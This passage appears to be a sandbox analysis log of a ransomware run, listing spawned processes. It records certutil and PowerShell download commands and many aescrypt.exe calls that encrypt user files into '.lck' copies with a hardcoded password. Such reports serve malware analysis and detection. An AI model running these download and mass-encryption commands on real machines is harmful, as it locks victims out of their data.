                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6708
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              powershell.exe -c Invoke-WebRequest -Uri -OutFile
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6812
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\certutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              certutil -urlcache -split -f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6952
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "BroadcastMsg_1603909987.txt.lck" "BroadcastMsg_1603909987.txt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6964
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DMIFB33.tmp.lck" "DMIFB33.tmp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6980
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "jawshtml.html.lck" "jawshtml.html"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "kill.bat.lck" "kill.bat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "aria-debug-3308.log.lck" "aria-debug-3308.log"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7024
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "p2d.bat.lck" "p2d.bat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7036
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "wmsetup.log.lck" "wmsetup.log"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7048
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "dd_NDP472-KB4054530-x86-x64-AllOS-ENU_decompression_log.txt.lck" "dd_NDP472-KB4054530-x86-x64-AllOS-ENU_decompression_log.txt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7060
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AdobeSFX.log.lck" "AdobeSFX.log"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7076
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "dd_SetupUtility.txt.lck" "dd_SetupUtility.txt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7092
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "final.exe.lck" "final.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7108
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "dd_vcredistUI5B67.txt.lck" "dd_vcredistUI5B67.txt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7120
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "chrome_installer.log.lck" "chrome_installer.log"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7136
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "JavaDeployReg.log.lck" "JavaDeployReg.log"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7152
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "wct2F16.tmp.lck" "wct2F16.tmp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4164
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "sa.9NBLGGH4VZW5_0_0010_.Public.InstallAgent.dat.lck" "sa.9NBLGGH4VZW5_0_0010_.Public.InstallAgent.dat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6168
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "sa.9NBLGGH5Q1ZL_0_0010_.Public.InstallAgent.dat.lck" "sa.9NBLGGH5Q1ZL_0_0010_.Public.InstallAgent.dat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6188
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MKLUFVRL-20201028-1834.log.lck" "MKLUFVRL-20201028-1834.log"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "sa.9WZDNCRCWFTB_0_0010_.Public.InstallAgent.dat.lck" "sa.9WZDNCRCWFTB_0_0010_.Public.InstallAgent.dat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6236
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "sa.9WZDNCRFHV4V_0_0010_.Public.InstallAgent.dat.lck" "sa.9WZDNCRFHV4V_0_0010_.Public.InstallAgent.dat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6260
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "sa.9PHNB71MKR4J_0_0010_.Public.InstallAgent.dat.lck" "sa.9PHNB71MKR4J_0_0010_.Public.InstallAgent.dat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "sa.9NBLGGH6J6VK_0_0010_.Public.InstallAgent.dat.lck" "sa.9NBLGGH6J6VK_0_0010_.Public.InstallAgent.dat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6304
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MKLUFVRL-20201028-1835.log.lck" "MKLUFVRL-20201028-1835.log"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6328
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "sa.9WZDNCRFHVFW_0_0010_.Public.InstallAgent.dat.lck" "sa.9WZDNCRFHVFW_0_0010_.Public.InstallAgent.dat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6352
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "sa.9NBLGGH1ZRPV_0_0010_.Public.InstallAgent.dat.lck" "sa.9NBLGGH1ZRPV_0_0010_.Public.InstallAgent.dat"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6376
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "jusched.log.lck" "jusched.log"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "dd_vcredistMSI5B67.txt.lck" "dd_vcredistMSI5B67.txt"
